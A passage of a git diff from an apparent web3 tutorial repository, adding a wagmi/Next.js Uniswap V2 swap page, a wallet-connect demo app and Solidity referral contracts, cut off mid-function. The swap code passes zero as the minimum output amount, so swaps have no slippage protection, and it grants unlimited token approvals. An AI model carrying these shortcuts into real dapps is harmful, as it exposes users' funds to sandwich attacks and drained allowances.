+      if (data.gt(BigNumber.from("0"))) {
+        setIsApproved(data.gte(outputAmount))
+      } else {
+        setIsApproved(false);
+      }
+    },
+    onError(err) {
+      toast.error(JSON.stringify(err))
+    }
+  });
+
+  // fetch getAmountsOut when select index or input amount changed
+  useEffect(() => {
+    if (!getAmountsOutLoading && inputIndex !== outputIndex && inputAmount.gt(BigNumber.from("0"))) {
+      getAmountsOutRefetch()
+      allowanceRefetch()
+    }
+  }, [inputIndex, inputAmount])
+
+  const toastId = useRef<Id | null>(null);
+  // addRecentTransaction will add tx hash in rainbowkit when send transcation
+  const addRecentTransaction = useAddRecentTransaction();
+
+  const { config: approveConfig } = usePrepareContractWrite({
+    address: tokens[inputIndex].config.address,
+    abi: tokens[inputIndex].config.abi,
+    enabled: isConnected,
+    functionName: "approve",
+    args: [
+      router2ContractConfig.address,
+      constants.MaxUint256
+    ],
+    onError(err: any) {
+      toast.error(JSON.stringify(err));
+    },
+  });
+  const { write: approveWrite } = useContractWrite({
+    ...approveConfig,
+    onMutate(data) {
+      toastId.current = toast("Please wait...", { isLoading: true });
+    },
+    onSuccess(data) {
+      console.warn("writen contract approve:\n", data);
+      // add pending tx hash in rainbowkit 
+      addRecentTransaction({
+        hash: data.hash,
+        description: `approve`,
+        confirmations: 1,
+      });
+      // wati tx confirmed 1 block
+      data
+        .wait(1)
+        .then((res) => {
+          console.warn("transaction confirmed", res);
+          toast.update(toastId.current as Id, {
+            render: "approve successfully",
+            type: toast.TYPE.SUCCESS,
+            isLoading: false,
+            autoClose: 3_000,
+          });
+          setIsApproved(true);
+        })
+        .catch((err) => {
+          console.error(err);
+          toast.update(toastId.current as Id, {
+            render: err,
+            type: toast.TYPE.ERROR,
+            isLoading: false,
+          });
+        });
+    },
+    onError(err: any) {
+      toast.update(toastId.current as Id, {
+        render: JSON.stringify(err),
+        type: toast.TYPE.ERROR,
+        isLoading: false,
+        autoClose: 5_000,
+      });
+    },
+  });
+
+  // function swapExactTokensForTokens(
+  //   uint amountIn,
+  //   uint amountOutMin,
+  //   address[] calldata path,
+  //   address to,
+  //   uint deadline
+  // ) external returns (uint[] memory amounts);
+  const { config: swapConfig } = usePrepareContractWrite({
+    ...router2ContractConfig,
+    enabled: isConnected && !allowanceLoading && isApproved && inputAmount.gt(BigNumber.from("0")),
+    functionName: "swapExactTokensForTokens",
+    args: [
+      inputAmount,
+      0,
+      [
+        tokens[inputIndex].config.address,
+        tokens[outputIndex].config.address,
+      ],
+      address,
+      expiredTime
+    ],
+    onSuccess(data) {
+      console.warn(data)
+    },
+    onError(err: any) {
+      toast(JSON.stringify(err));
+    },
+  });
+  const { write: swapWrite, isLoading: swapLoading } = useContractWrite({
+    ...swapConfig,
+    onMutate(data) {
+      toastId.current = toast("Please wait...", { isLoading: true });
+    },
+    onSuccess(data) {
+      console.warn("writen contract swap:\n", data);
+      // add pending tx hash in rainbowkit 
+      addRecentTransaction({
+        hash: data.hash,
+        description: `swapExactTokensForTokens()`,
+        confirmations: 1,
+      });
+      // wati tx confirmed 1 block
+      data
+        .wait(1)
+        .then((res) => {
+          console.warn("transaction confirmed", res);
+          toast.update(toastId.current as Id, {
+            render: "swap successfully",
+            type: toast.TYPE.SUCCESS,
+            isLoading: false,
+            autoClose: 3_000,
+          });
+        })
+        .catch((err) => {
+          console.error(err);
+          toast.update(toastId.current as Id, {
+            render: err,
+            type: toast.TYPE.ERROR,
+            isLoading: false,
+          });
+        });
+    },
+    onError(err: any) {
+      toast.update(toastId.current as Id, {
+        render: JSON.stringify(err),
+        type: toast.TYPE.ERROR,
+        isLoading: false,
+        autoClose: 5_000,
+      });
+    },
+  });
+
+
+  return (
+    <Container>
+      <Main>
+        <Title>Swap</Title>
+        <Description>
+          <Link href="/">
+            <a>&larr; Go Back</a>
+          </Link>
+        </Description>
+        <ConnectButton />
+        <SwapBox>
+          <TokenList>
+            <h3>input token:</h3>
+            {tokens.map((item, index) => (
+              <label key={index}>
+                <input name="inputToken" type="radio" checked={index == inputIndex} onChange={(e: any) => {
+                  setInputIndex(index)
+                  if (outputIndex == index) {
+                    setOutputIndex((index+1) % tokens.length)
+                  }
+                 }} />
+                {item.name}
+              </label>
+            ))}
+            <input type="text" value={formatEther(inputAmount)} onChange={(e:any) => {
+              let value = e.target.value;
+              if (value && value !== '') {
+                setInputAmount(parseEther(value));
+              } else {
+                setInputAmount(BigNumber.from("0"))
+                setOutputAmount(BigNumber.from("0"))
+              }
+            }} />
+          </TokenList>
+          <TokenList>
+            <h3>output token:</h3>
+            {tokens.map((item, index) => (
+              <label key={index}>
+                <input name="outputToken" type="radio" checked={index == outputIndex} onChange={(e: any) => {
+                  setOutputIndex(index)
+                  if (inputIndex == index) {
+                    setInputIndex((index+1) % tokens.length)
+                  }
+                }} />
+                {item.name}
+              </label>
+            ))}
+            <input type="text" value={formatEther(outputAmount)} disabled/>
+          </TokenList>
+        </SwapBox>
+        <RainbowButton disabled={allowanceLoading || isApproved} onClick={approveWrite as MouseEventHandler}>
+          {isApproved ? "Already approved" : "Approve"}
+        </RainbowButton>
+        <RainbowButton 
+          className={isApproved && swapWrite ? "rainbow" : ""} disabled={!swapWrite}
+          onClick={swapWrite as MouseEventHandler}
+        >{swapLoading ? "swaping..." : "Swap"}</RainbowButton>
+      </Main>
+    </Container>
+  );
+}
+
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/public/favicon.ico b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/public/favicon.ico
new file mode 100644
index 000000000..718d6fea4
Binary files /dev/null and b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/public/favicon.ico differ
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/styled.d.ts b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/styled.d.ts
new file mode 100644
index 000000000..b9d36565b
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/styled.d.ts
@@ -0,0 +1,10 @@
+import 'styled-components'
+
+declare module 'styled-components' {
+  export interface DefaultTheme {
+    colors: {
+      primary: string
+      secondary: string
+    }
+  }
+}
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/tsconfig.json b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/tsconfig.json
new file mode 100644
index 000000000..94136effc
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/tsconfig.json
@@ -0,0 +1,20 @@
+{
+  "compilerOptions": {
+    "target": "es5",
+    "lib": ["dom", "dom.iterable", "esnext"],
+    "allowJs": true,
+    "skipLibCheck": true,
+    "strict": false,
+    "forceConsistentCasingInFileNames": true,
+    "noEmit": true,
+    "incremental": true,
+    "esModuleInterop": true,
+    "module": "esnext",
+    "resolveJsonModule": true,
+    "moduleResolution": "node",
+    "isolatedModules": true,
+    "jsx": "preserve"
+  },
+  "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx"],
+  "exclude": ["node_modules"]
+}
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/.gitignore b/basic/59-wagmi-and-nextjs/wagmi-basic/.gitignore
new file mode 100644
index 000000000..4d29575de
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/.gitignore
@@ -0,0 +1,23 @@
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.js
+
+# testing
+/coverage
+
+# production
+/build
+
+# misc
+.DS_Store
+.env.local
+.env.development.local
+.env.test.local
+.env.production.local
+
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/README.md b/basic/59-wagmi-and-nextjs/wagmi-basic/README.md
new file mode 100644
index 000000000..13a2bb4a1
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/README.md
@@ -0,0 +1,11 @@
+
+# Run the demo
+```
+yarn
+yarn start
+```
+
+# Reference
+- https://wagmi.sh/react/getting-started
+- https://wagmi.sh/examples/connect-wallet
+
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/craco.config.js b/basic/59-wagmi-and-nextjs/wagmi-basic/craco.config.js
new file mode 100644
index 000000000..9e126a180
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/craco.config.js
@@ -0,0 +1,8 @@
+const path = require('path');
+module.exports = {
+  webpack: {
+    alias: {
+      '@': path.resolve(__dirname, 'src'),
+    },
+  },
+};
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/jsconfig.json b/basic/59-wagmi-and-nextjs/wagmi-basic/jsconfig.json
new file mode 100644
index 000000000..c932e6350
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/jsconfig.json
@@ -0,0 +1,8 @@
+{
+    "compilerOptions": {
+      "baseUrl": ".",
+      "paths": {
+        "@/*": ["./src/*"]
+      }
+    }
+  }
\ No newline at end of file
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/package.json b/basic/59-wagmi-and-nextjs/wagmi-basic/package.json
new file mode 100644
index 000000000..ae1513a42
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/package.json
@@ -0,0 +1,42 @@
+{
+  "name": "wagmi-basic",
+  "version": "0.1.0",
+  "private": true,
+  "dependencies": {
+    "@craco/craco": "^7.1.0",
+    "@material-ui/core": "^4.12.4",
+    "@testing-library/jest-dom": "^5.14.1",
+    "@testing-library/react": "^13.0.0",
+    "@testing-library/user-event": "^13.2.1",
+    "@wagmi/chains": "^1.6.0",
+    "react": "^18.2.0",
+    "react-dom": "^18.2.0",
+    "react-scripts": "5.0.1",
+    "viem": "^1.5.3",
+    "wagmi": "^1.3.9",
+    "web-vitals": "^2.1.0"
+  },
+  "scripts": {
+    "start": "craco start",
+    "build": "craco build",
+    "test": "craco test"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/public/index.html b/basic/59-wagmi-and-nextjs/wagmi-basic/public/index.html
new file mode 100644
index 000000000..dd0a4cd9b
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/public/index.html
@@ -0,0 +1,42 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <meta name="theme-color" content="#000000" />
+    <meta
+      name="description"
+      content="Wagmi Demo"
+    />
+
+    <!--
+      manifest.json provides metadata used when your web app is installed on a
+      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
+    -->
+    <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
+    <!--
+      Notice the use of %PUBLIC_URL% in the tags above.
+      It will be replaced with the URL of the `public` folder during the build.
+      Only files inside the `public` folder can be referenced from the HTML.
+
+      Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
+      work correctly both with client-side routing and a non-root public URL.
+      Learn how to configure a non-root public URL by running `npm run build`.
+    -->
+    <title>Wagmi Demo</title>
+  </head>
+  <body>
+    <noscript>You need to enable JavaScript to run this app.</noscript>
+    <div id="root"></div>
+    <!--
+      This HTML file is a template.
+      If you open it directly in the browser, you will see an empty page.
+
+      You can add webfonts, meta tags, or analytics to this file.
+      The build step will place the bundled scripts into the <body> tag.
+
+      To begin the development, run `npm start` or `yarn start`.
+      To create a production bundle, use `npm run build` or `yarn build`.
+    -->
+  </body>
+</html>
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/public/manifest.json b/basic/59-wagmi-and-nextjs/wagmi-basic/public/manifest.json
new file mode 100644
index 000000000..addfc9944
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/public/manifest.json
@@ -0,0 +1,10 @@
+{
+  "short_name": "Wagmi Demo",
+  "name": "Wagmi Demo",
+  "icons": [
+  ],
+  "start_url": ".",
+  "display": "standalone",
+  "theme_color": "#000000",
+  "background_color": "#ffffff"
+}
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/public/robots.txt b/basic/59-wagmi-and-nextjs/wagmi-basic/public/robots.txt
new file mode 100644
index 000000000..e9e57dc4d
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/public/robots.txt
@@ -0,0 +1,3 @@
+# https://www.robotstxt.org/robotstxt.html
+User-agent: *
+Disallow:
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/src/App.css b/basic/59-wagmi-and-nextjs/wagmi-basic/src/App.css
new file mode 100644
index 000000000..a75b96de1
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/src/App.css
@@ -0,0 +1,14 @@
+
+.profile {
+  position: relative;
+  width: 60%;
+  top: 20vh;
+  margin: auto;
+  display: flex;
+  flex-direction: column;
+  justify-content: space-evenly;
+  align-items: left;
+  font-size: 20px;
+  font-weight: 500;
+}
+
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/src/App.js b/basic/59-wagmi-and-nextjs/wagmi-basic/src/App.js
new file mode 100644
index 000000000..016f00e49
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/src/App.js
@@ -0,0 +1,82 @@
+import Button from '@material-ui/core/Button';
+import './App.css';
+//wagmi dependencies
+import { WagmiConfig, createConfig, configureChains } from 'wagmi'
+import { useAccount, useConnect, useDisconnect } from 'wagmi'
+import { publicProvider } from 'wagmi/providers/public';
+import { jsonRpcProvider } from 'wagmi/providers/jsonRpc';
+import { MetaMaskConnector } from 'wagmi/connectors/metaMask';
+import { WalletConnectConnector } from 'wagmi/connectors/walletConnect'
+//view dependencies
+import { localhost, polygon } from '@wagmi/chains'
+
+/*Firstly we create the client calling to public JSON rpcs.
+  You can refer to https://wagmi.sh/react/providers/configuring-chains
+  Also keep in mind that publicClient is the http client connecting to public JSON-RPC endpoints while webSocketPublicClient 
+  is websocket client.
+*/
+const { chains, publicClient, webSocketPublicClient ,} = configureChains(
+  //more chains see https://www.npmjs.com/package/@wagmi/chains
+  [polygon,localhost], 
+  //providers are tried one by one to connect to above chains. more to see https://wagmi.sh/react/providers/configuring-chains
+  //publicProvider will get the url from the preconfigured chains
+  [publicProvider(), jsonRpcProvider({rpc: (chain) => ({http: 'https://localhost:8545',}),})]
+)
+ 
+/*Create wagmi config
+*/
+const config = createConfig({
+  connectors:[
+    new MetaMaskConnector({chains}), 
+    // new WalletConnectConnector({
+    //   chains,
+    //   options: {
+    //     projectId: '...',
+    //   },
+    // }),
+    //See https://wagmi.sh/examples/connect-wallet for more
+  ],
+  publicClient, 
+  webSocketPublicClient
+})
+
+function App() {
+  return (
+    <WagmiConfig config={config}>
+        <Wallet />
+    </WagmiConfig>
+  )
+}
+
+const Wallet = ()=> {
+  const { address, connector, isConnected } = useAccount();
+  const { connect, connectors } = useConnect();
+  const { disconnect } = useDisconnect()
+  
+  if (isConnected)
+    return (
+      <div className='profile'>
+        <div>Connector:{connector.name}</div>
+        <div>Current address:{address}</div>
+        <div>
+          <Button variant="outlined" color="primary" onClick={() => disconnect()}>
+            Disconnect
+          </Button>
+        </div>
+      </div>
+    )
+    return (<div className='profile'>
+      {connectors.map((c) => (
+        <Button style={{
+          marginBottom: '20px'
+        }} 
+        variant="contained" color="primary" onClick={() => connect({connector:c})}>
+        Connect {c.name}
+        </Button>
+      ))}
+
+    </div>) 
+    
+}
+
+export default App;
\ No newline at end of file
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/src/index.css b/basic/59-wagmi-and-nextjs/wagmi-basic/src/index.css
new file mode 100644
index 000000000..ec2585e8c
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/src/index.css
@@ -0,0 +1,13 @@
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
+    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
+    sans-serif;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+code {
+  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
+    monospace;
+}
diff --git a/basic/59-wagmi-and-nextjs/wagmi-basic/src/index.js b/basic/59-wagmi-and-nextjs/wagmi-basic/src/index.js
new file mode 100644
index 000000000..7716fe4c7
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/wagmi-basic/src/index.js
@@ -0,0 +1,12 @@
+import React from 'react';
+import ReactDOM from 'react-dom/client';
+import './index.css';
+import App from './App';
+
+const root = ReactDOM.createRoot(document.getElementById('root'));
+root.render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>
+);
+
diff --git a/basic/60-Referral-code/contracts/Referral.sol b/basic/60-Referral-code/contracts/Referral.sol
new file mode 100644
index 000000000..6d825368f
--- /dev/null
+++ b/basic/60-Referral-code/contracts/Referral.sol
@@ -0,0 +1,248 @@
+pragma solidity ^0.5.0;
+
+import "openzeppelin-solidity/contracts/math/SafeMath.sol";
+import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
+
+contract Referral is Ownable {
+  using SafeMath for uint;
+
+  /**
+   * @dev Max referral level depth
+   */
+  uint8 constant MAX_REFER_DEPTH = 3;
+
+  /**
+   * @dev Max referee amount to bonus rate depth
+   */
+  uint8 constant MAX_REFEREE_BONUS_LEVEL = 3;
+
+
+  /**
+   * @dev The struct of account information
+   * @param referrer The referrer addresss
+   * @param reward The total referral reward of an address
+   * @param referredCount The total referral amount of an address
+   * @param lastActiveTimestamp The last active timestamp of an address
+   */
+  struct Account {
+    address payable referrer;
+    uint reward;
+    uint referredCount;
+    uint lastActiveTimestamp;
+  }
+
+  /**
+   * @dev The struct of referee amount to bonus rate
+   * @param lowerBound The minial referee amount
+   * @param rate The bonus rate for each referee amount
+   */
+  struct RefereeBonusRate {
+    uint lowerBound;
+    uint rate;
+  }
+
+  event RegisteredReferer(address referee, address referrer);
+  event RegisteredRefererFailed(address referee, address referrer, string reason);
+  event PaidReferral(address from, address to, uint amount, uint level);
+  event UpdatedUserLastActiveTime(address user, uint timestamp);
+
+  mapping(address => Account) public accounts;
+
+  uint256[] levelRate;
+  uint256 referralBonus;
+  uint256 decimals;
+  uint256 secondsUntilInactive;
+  bool onlyRewardActiveReferrers;
+  RefereeBonusRate[] refereeBonusRateMap;
+
+  /**
+   * @param _decimals The base decimals for float calc, for example 1000
+   * @param _referralBonus The total referral bonus rate, which will divide by decimals. For example, If you will like to set as 5%, it can set as 50 when decimals is 1000.
+   * @param _secondsUntilInactive The seconds that a user does not update will be seen as inactive.
+   * @param _onlyRewardActiveReferrers The flag to enable not paying to inactive uplines.
+   * @param _levelRate The bonus rate for each level, which will divide by decimals too. The max depth is MAX_REFER_DEPTH.
+   * @param _refereeBonusRateMap The bonus rate mapping to each referree amount, which will divide by decimals too. The max depth is MAX_REFER_DEPTH.
+   * The map should be pass as [<lower amount>, <rate>, ....]. For example, you should pass [1, 250, 5, 500, 10, 1000] when decimals is 1000 for the following case.
+   *
+   *  25%     50%     100%
+   *   | ----- | ----- |----->
+   *  1ppl    5ppl    10ppl
+   *
+   * @notice refereeBonusRateMap's lower amount should be ascending
+   */
+  constructor(
+    uint _decimals,
+    uint _referralBonus,
+    uint _secondsUntilInactive,
+    bool _onlyRewardActiveReferrers,
+    uint256[] memory _levelRate,
+    uint256[] memory _refereeBonusRateMap
+  )
+    public
+  {
+    require(_levelRate.length > 0, "Referral level should be at least one");
+    require(_levelRate.length <= MAX_REFER_DEPTH, "Exceeded max referral level depth");
+    require(_refereeBonusRateMap.length % 2 == 0, "Referee Bonus Rate Map should be pass as [<lower amount>, <rate>, ....]");
+    require(_refereeBonusRateMap.length / 2 <= MAX_REFEREE_BONUS_LEVEL, "Exceeded max referree bonus level depth");
+    require(_referralBonus <= _decimals, "Referral bonus exceeds 100%");
+    require(sum(_levelRate) <= _decimals, "Total level rate exceeds 100%");
+
+    decimals = _decimals;
+    referralBonus = _referralBonus;
+    secondsUntilInactive = _secondsUntilInactive;
+    onlyRewardActiveReferrers = _onlyRewardActiveReferrers;
+    levelRate = _levelRate;
+
+    // Set default referee amount rate as 1ppl -> 100% if rate map is empty.
+    if (_refereeBonusRateMap.length == 0) {
+      refereeBonusRateMap.push(RefereeBonusRate(1, decimals));
+      return;
+    }
+
+    for (uint i; i < _refereeBonusRateMap.length; i += 2) {
+      if (_refereeBonusRateMap[i+1] > decimals) {
+        revert("One of referee bonus rate exceeds 100%");
+      }
+      // Cause we can't pass struct or nested array without enabling experimental ABIEncoderV2, use array to simulate it
+      refereeBonusRateMap.push(RefereeBonusRate(_refereeBonusRateMap[i], _refereeBonusRateMap[i+1]));
+    }
+  }
+
+  function sum(uint[] memory data) public pure returns (uint) {
+    uint S;
+    for(uint i;i < data.length;i++) {
+      S += data[i];
+    }
+    return S;
+  }
+
+
+  /**
+   * @dev Utils function for check whether an address has the referrer
+   */
+  function hasReferrer(address addr) public view returns(bool){
+    return accounts[addr].referrer != address(0);
+  }
+
+  /**
+   * @dev Get block timestamp with function for testing mock
+   */
+  function getTime() public view returns(uint256) {
+    return now; // solium-disable-line security/no-block-members
+  }
+
+  /**
+   * @dev Given a user amount to calc in which rate period
+   * @param amount The number of referrees
+   */
+  function getRefereeBonusRate(uint256 amount) public view returns(uint256) {
+    uint rate = refereeBonusRateMap[0].rate;
+    for(uint i = 1; i < refereeBonusRateMap.length; i++) {
+      if (amount < refereeBonusRateMap[i].lowerBound) {
+        break;
+      }
+      rate = refereeBonusRateMap[i].rate;
+    }
+    return rate;
+  }
+
+  function isCircularReference(address referrer, address referee) internal view returns(bool){
+    address parent = referrer;
+
+    for (uint i; i < levelRate.length; i++) {
+      if (parent == address(0)) {
+        break;
+      }
+
+      if (parent == referee) {
+        return true;
+      }
+
+      parent = accounts[parent].referrer;
+    }
+
+    return false;
+  }
+
+  /**
+   * @dev Add an address as referrer
+   * @param referrer The address would set as referrer of msg.sender
+   * @return whether success to add upline
+   */
+  function addReferrer(address payable referrer) internal returns(bool){
+    if (referrer == address(0)) {
+      emit RegisteredRefererFailed(msg.sender, referrer, "Referrer cannot be 0x0 address");
+      return false;
+    } else if (isCircularReference(referrer, msg.sender)) {
+      emit RegisteredRefererFailed(msg.sender, referrer, "Referee cannot be one of referrer uplines");
+      return false;
+    } else if (accounts[msg.sender].referrer != address(0)) {
+      emit RegisteredRefererFailed(msg.sender, referrer, "Address have been registered upline");
+      return false;
+    }
+
+    Account storage userAccount = accounts[msg.sender];
+    Account storage parentAccount = accounts[referrer];
+
+    userAccount.referrer = referrer;
+    userAccount.lastActiveTimestamp = getTime();
+    parentAccount.referredCount = parentAccount.referredCount.add(1);
+
+    emit RegisteredReferer(msg.sender, referrer);
+    return true;
+  }
+
+  /**
+   * @dev This will calc and pay referral to uplines instantly
+   * @param value The number tokens will be calculated in referral process
+   * @return the total referral bonus paid
+   */
+  function payReferral(uint256 value) internal returns(uint256){
+    Account memory userAccount = accounts[msg.sender];
+    uint totalReferal;
+
+    for (uint i; i < levelRate.length; i++) {
+      address payable parent = userAccount.referrer;
+      Account storage parentAccount = accounts[userAccount.referrer];
+
+      if (parent == address(0)) {
+        break;
+      }
+
+      if(onlyRewardActiveReferrers && parentAccount.lastActiveTimestamp.add(secondsUntilInactive) >= getTime() || !onlyRewardActiveReferrers) {
+        uint c = value.mul(referralBonus).div(decimals);
+        c = c.mul(levelRate[i]).div(decimals);
+        c = c.mul(getRefereeBonusRate(parentAccount.referredCount)).div(decimals);
+
+        totalReferal = totalReferal.add(c);
+
+        parentAccount.reward = parentAccount.reward.add(c);
+        parent.transfer(c);
+        emit PaidReferral(msg.sender, parent, c, i + 1);
+      }
+
+      userAccount = parentAccount;
+    }
+
+    updateActiveTimestamp(msg.sender);
+    return totalReferal;
+  }
+
+  /**
+   * @dev Developers should define what kind of actions are seens active. By default, payReferral will active msg.sender.
+   * @param user The address would like to update active time
+   */
+  function updateActiveTimestamp(address user) internal {
+    uint timestamp = getTime();
+    accounts[user].lastActiveTimestamp = timestamp;
+    emit UpdatedUserLastActiveTime(user, timestamp);
+  }
+
+  function setSecondsUntilInactive(uint _secondsUntilInactive) public onlyOwner {
+    secondsUntilInactive = _secondsUntilInactive;
+  }
+
+  function setOnlyRewardAActiveReferrers(bool _onlyRewardActiveReferrers) public onlyOwner {
+    onlyRewardActiveReferrers = _onlyRewardActiveReferrers;
+  }
+}
\ No newline at end of file
diff --git a/basic/60-Referral-code/contracts/playbook.sol b/basic/60-Referral-code/contracts/playbook.sol
new file mode 100644
index 000000000..d8470a676
--- /dev/null
+++ b/basic/60-Referral-code/contracts/playbook.sol
@@ -0,0 +1,523 @@
+pragma solidity ^0.5.0;
+
+import '@openzeppelin/contracts/math/SafeMath.sol';
+import '@openzeppelin/contracts/ownership/Ownable.sol';
+import "../library/NameFilter.sol";
+import "../library/SafeERC20.sol";
+import "../library/Governance.sol";
+import "../interface/IPlayerBook.sol";
+
+contract PlayerBook is Governance, IPlayerBook {
+    using NameFilter for string;
+    using SafeMath for uint256;
+    using SafeERC20 for IERC20;
+ 
+    // register pools       
+    mapping (address => bool) public _pools;
+
+    // (addr => pID) returns player id by address
+    mapping (address => uint256) public _pIDxAddr;   
+    // (name => pID) returns player id by name      
+    mapping (bytes32 => uint256) public _pIDxName;    
+    // (pID => data) player data     
+    mapping (uint256 => Player) public _plyr;      
+    // (pID => name => bool) list of names a player owns.  (used so you can change your display name amoungst any name you own)        
+    mapping (uint256 => mapping (bytes32 => bool)) public _plyrNames; 
+  
+    // the  of refrerrals
+    uint256 public _totalReferReward;         
+    // total number of players
+    uint256 public _pID;      
+    // total register name count
+    uint256 public _totalRegisterCount = 0;
+
+    // the direct refer's reward rate
+    uint256 public _refer1RewardRate = 700; //7%
+    // the second direct refer's reward rate
+    uint256 public _refer2RewardRate = 300; //3%
+    // base rate
+    uint256 public _baseRate = 10000;
+
+    // base price to register a name
+    uint256 public _registrationBaseFee = 100 finney;     
+    // register fee count step
+    uint256 public _registrationStep = 100;
+    // add base price for one step
+    uint256 public _stepFee = 100 finney;     
+
+    bytes32 public _defaulRefer ="dego";
+
+    address payable public _teamWallet = 0x6666666666666666666666666666666666666666;
+  
+    IERC20 public _dego = IERC20(0x0);
+   
+    struct Player {
+        address addr;
+        bytes32 name;
+        uint8 nameCount;
+        uint256 laff;
+        uint256 amount;
+        uint256 rreward;
+        uint256 allReward;
+        uint256 lv1Count;
+        uint256 lv2Count;
+    }
+
+    event eveClaim(uint256 pID, address addr, uint256 reward, uint256 balance );
+    event eveBindRefer(uint256 pID, address addr, bytes32 name, uint256 affID, address affAddr, bytes32 affName);
+    event eveDefaultPlayer(uint256 pID, address addr, bytes32 name);      
+    event eveNewName(uint256 pID, address addr, bytes32 name, uint256 affID, address affAddr, bytes32 affName, uint256 balance  );
+    event eveSettle(uint256 pID, uint256 affID, uint256 aff_affID, uint256 affReward, uint256 aff_affReward, uint256 amount);
+    event eveAddPool(address addr);
+    event eveRemovePool(address addr);
+
+
+    constructor()
+        public
+    {
+        _pID = 0;
+        _totalReferReward = 0;
+        addDefaultPlayer(_teamWallet,_defaulRefer);
+    }
+
+    /**
+     * check address
+     */
+    modifier validAddress( address addr ) {
+        require(addr != address(0x0));
+        _;
+    }
+
+    /**
+     * check pool
+     */
+    modifier isRegisteredPool(){
+        require(_pools[msg.sender],"invalid pool address!");
+        _;
+    }
+
+    /**
+     * contract dego balances
+     */
+    function balances()
+        public
+        view
+        returns(uint256)
+    {
+        return (_dego.balanceOf(address(this)));
+    }
+
+    // only function for creating additional rewards from dust
+    function seize(IERC20 asset) external returns (uint256 balance) {
+        require(address(_dego) != address(asset), "forbbiden dego");
+
+        balance = asset.balanceOf(address(this));
+        asset.safeTransfer(_teamWallet, balance);
+    }
+
+    // get register fee 
+    function seizeEth() external  {
+        uint256 _currentBalance =  address(this).balance;
+        _teamWallet.transfer(_currentBalance);
+    }
+    
+    /**
+     * revert invalid transfer action
+     */
+    function() external payable {
+        revert();
+    }
+
+
+    /**
+     * registe a pool
+     */
+    function addPool(address poolAddr)
+        onlyGovernance
+        public
+    {
+        require( !_pools[poolAddr], "derp, that pool already been registered");
+
+        _pools[poolAddr] = true;
+
+        emit eveAddPool(poolAddr);
+    }
+    
+    /**
+     * remove a pool
+     */
+    function removePool(address poolAddr)
+        onlyGovernance
+        public
+    {
+        require( _pools[poolAddr], "derp, that pool must be registered");
+
+        _pools[poolAddr] = false;
+
+        emit eveRemovePool(poolAddr);
+    }
+
+    /**
+     * resolve the refer's reward from a player 
+     */
+    function settleReward(address from, uint256 amount)
+        isRegisteredPool()
+        validAddress(from)    
+        external
+        returns (uint256)
+    {
+         // set up our tx event data and determine if player is new or not
+        _determinePID(from);
+
+        uint256 pID = _pIDxAddr[from];
+        uint256 affID = _plyr[pID].laff;
+        
+        if(affID <= 0 ){
+            affID = _pIDxName[_defaulRefer];
+            _plyr[pID].laff = affID;
+        }
+
+        if(amount <= 0){
+            return 0;
+        }
+
+        uint256 fee = 0;
+
+        // father
+        uint256 affReward = (amount.mul(_refer1RewardRate)).div(_baseRate);
+        _plyr[affID].rreward = _plyr[affID].rreward.add(affReward);
+        _totalReferReward = _totalReferReward.add(affReward);
+        fee = fee.add(affReward);
+
+
+        // grandfather
+        uint256 aff_affID = _plyr[affID].laff;
+        uint256 aff_affReward = amount.mul(_refer2RewardRate).div(_baseRate);
